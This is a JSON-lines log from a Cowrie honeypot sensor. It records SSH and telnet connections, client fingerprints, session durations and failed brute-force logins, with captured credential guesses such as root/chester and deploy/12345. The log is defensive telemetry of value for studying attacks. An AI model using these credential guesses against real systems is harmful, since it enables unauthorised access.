{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:41.145882Z","src_ip":"49.51.202.114","session":"f10e24948b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:41.413794Z","src_ip":"103.27.238.116","session":"daa0843b979b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:41.451119Z","src_ip":"49.51.202.114","session":"f10e24948b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:42.522960Z","src_ip":"49.51.202.114","session":"f10e24948b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.05918502807617,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:06:56.013230Z","src_ip":"192.119.13.58","session":"1476637693d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45326,"dst_ip":"10.17.0.5","dst_port":23,"session":"729ec3efbaf8","protocol":"telnet","message":"New connection: 192.119.13.58:45326 (10.17.0.5:23) [session: 729ec3efbaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:00.897282Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":47618,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d1efe0f89ab","protocol":"telnet","message":"New connection: 186.195.16.41:47618 (159.203.135.109:23) [session: 9d1efe0f89ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:02.089642Z"}
{"eventid":"cowrie.session.closed","duration":0.0061337947845458984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:02.095675Z","src_ip":"186.195.16.41","session":"9d1efe0f89ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.398099422454834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:05.232535Z","src_ip":"192.119.13.58","session":"b0d7066762c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35832,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dd86f58a20d","protocol":"telnet","message":"New connection: 192.119.13.58:35832 (10.17.0.5:23) [session: 3dd86f58a20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:05.844521Z"}
{"eventid":"cowrie.session.closed","duration":51.232287645339966,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:18.800424Z","src_ip":"192.119.13.58","session":"693bdbe2704a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57044,"dst_ip":"10.17.0.5","dst_port":23,"session":"acdb6f5a4ef6","protocol":"telnet","message":"New connection: 192.119.13.58:57044 (10.17.0.5:23) [session: acdb6f5a4ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:33.560930Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":38580,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1950aeb57f6","protocol":"ssh","message":"New connection: 102.223.92.101:38580 (159.203.135.109:22) [session: a1950aeb57f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:40.598287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:40.602364Z","src_ip":"102.223.92.101","session":"a1950aeb57f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:40.774868Z","src_ip":"102.223.92.101","session":"a1950aeb57f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"new","password":"123456","message":"login attempt [new/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:41.495442Z","src_ip":"102.223.92.101","session":"a1950aeb57f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.75683617591858,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:42.653981Z","src_ip":"192.119.13.58","session":"729ec3efbaf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:42.670530Z","src_ip":"102.223.92.101","session":"a1950aeb57f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":33606,"dst_ip":"159.203.135.109","dst_port":22,"session":"337b953e0998","protocol":"ssh","message":"New connection: 46.19.67.181:33606 (159.203.135.109:22) [session: 337b953e0998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:43.372514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:43.377543Z","src_ip":"46.19.67.181","session":"337b953e0998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:43.494424Z","src_ip":"46.19.67.181","session":"337b953e0998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:43.845528Z","src_ip":"46.19.67.181","session":"337b953e0998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40812,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0726381baf","protocol":"telnet","message":"New connection: 192.119.13.58:40812 (10.17.0.5:23) [session: 2f0726381baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:44.281344Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:44.964228Z","src_ip":"46.19.67.181","session":"337b953e0998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.1844022274017334,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:46.465648Z","src_ip":"192.119.13.58","session":"2f0726381baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.8910608291626,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:49.735421Z","src_ip":"192.119.13.58","session":"3dd86f58a20d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":47822,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f157adbd748","protocol":"ssh","message":"New connection: 185.92.182.129:47822 (10.17.0.5:22) [session: 3f157adbd748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:50.473313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:50.478458Z","src_ip":"185.92.182.129","session":"3f157adbd748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:50.511649Z","src_ip":"185.92.182.129","session":"3f157adbd748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909090","message":"login attempt [root/909090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:50.672951Z","src_ip":"185.92.182.129","session":"3f157adbd748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:51.709093Z","src_ip":"185.92.182.129","session":"3f157adbd748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33722,"dst_ip":"10.17.0.5","dst_port":23,"session":"c520bb9a19d5","protocol":"telnet","message":"New connection: 192.119.13.58:33722 (10.17.0.5:23) [session: c520bb9a19d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:07:57.327802Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":57854,"dst_ip":"159.203.135.109","dst_port":22,"session":"014ddcffb904","protocol":"ssh","message":"New connection: 49.51.202.114:57854 (159.203.135.109:22) [session: 014ddcffb904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:05.365696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:05.371028Z","src_ip":"49.51.202.114","session":"014ddcffb904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:05.439682Z","src_ip":"49.51.202.114","session":"014ddcffb904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"12345","message":"login attempt [deploy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:05.750659Z","src_ip":"49.51.202.114","session":"014ddcffb904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:06.823364Z","src_ip":"49.51.202.114","session":"014ddcffb904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44002,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ab1c14ef35","protocol":"telnet","message":"New connection: 192.119.13.58:44002 (10.17.0.5:23) [session: c2ab1c14ef35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:07.135030Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45636,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b0110a52f6","protocol":"telnet","message":"New connection: 192.119.13.58:45636 (10.17.0.5:23) [session: d8b0110a52f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:07.612023Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":51236,"dst_ip":"10.17.0.5","dst_port":22,"session":"9261818507b1","protocol":"ssh","message":"New connection: 200.175.61.207:51236 (10.17.0.5:22) [session: 9261818507b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:09.715828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:09.721067Z","src_ip":"200.175.61.207","session":"9261818507b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:09.866636Z","src_ip":"200.175.61.207","session":"9261818507b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#qwe123","message":"login attempt [root/!@#qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:10.479113Z","src_ip":"200.175.61.207","session":"9261818507b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.647838830947876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:11.208682Z","src_ip":"192.119.13.58","session":"acdb6f5a4ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:11.626508Z","src_ip":"200.175.61.207","session":"9261818507b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.00078010559082,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:36.328442Z","src_ip":"192.119.13.58","session":"c520bb9a19d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":59157,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffc76e4e8116","protocol":"ssh","message":"New connection: 103.219.170.37:59157 (159.203.135.109:22) [session: ffc76e4e8116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:39.121697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:39.125847Z","src_ip":"103.219.170.37","session":"ffc76e4e8116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:39.200902Z","src_ip":"103.219.170.37","session":"ffc76e4e8116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd444","message":"login attempt [root/P@ssw0rd444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:39.433319Z","src_ip":"103.219.170.37","session":"ffc76e4e8116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:08:40.530003Z","src_ip":"103.219.170.37","session":"ffc76e4e8116","protocol":"ssh"}
